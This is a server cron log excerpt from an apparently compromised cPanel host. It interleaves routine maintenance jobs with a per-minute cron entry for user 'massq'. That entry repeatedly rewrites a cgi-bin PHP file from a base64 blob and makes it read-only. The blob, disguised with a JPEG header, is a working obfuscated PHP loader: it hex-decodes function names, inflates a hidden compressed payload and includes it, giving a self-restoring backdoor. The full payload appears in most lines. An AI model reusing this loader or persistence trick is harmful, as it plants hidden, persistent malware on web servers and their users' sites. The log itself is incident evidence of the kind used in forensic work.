Nov 16 02:57:01 server CROND[11286]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:57:01 server CROND[11287]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 16 02:58:01 server CROND[11396]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:59:02 server CROND[11492]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:59:02 server CROND[11493]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Nov 16 03:00:01 server CROND[11713]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 03:00:01 server CROND[11714]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 03:00:01 server CROND[11712]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 03:00:01 server CROND[11715]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:01:01 server CROND[11882]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:01:01 server CROND[11883]: (root) CMD (run-parts /etc/cron.hourly)
Nov 16 03:01:01 server run-parts(/etc/cron.hourly)[11883]: starting 0anacron
Nov 16 03:01:01 server anacron[11895]: Anacron started on 2025-11-16
Nov 16 03:01:01 server run-parts(/etc/cron.hourly)[11897]: finished 0anacron
Nov 16 03:01:01 server anacron[11895]: Will run job `cron.daily' in 49 min.
Nov 16 03:01:01 server anacron[11895]: Jobs will be executed sequentially
Nov 16 03:02:01 server CROND[12005]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:03:01 server CROND[12121]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:04:01 server CROND[12228]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:05:01 server CROND[12437]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 16 03:05:01 server CROND[12436]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 03:05:01 server CROND[12438]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:05:01 server CROND[12439]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 03:06:01 server CROND[12607]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:07:01 server CROND[12812]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:08:01 server CROND[13026]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:09:01 server CROND[13124]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:09:01 server CROND[13125]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 16 03:10:01 server CROND[13318]: (root) CMD (/usr/lib64/sa/sa1 1 1)
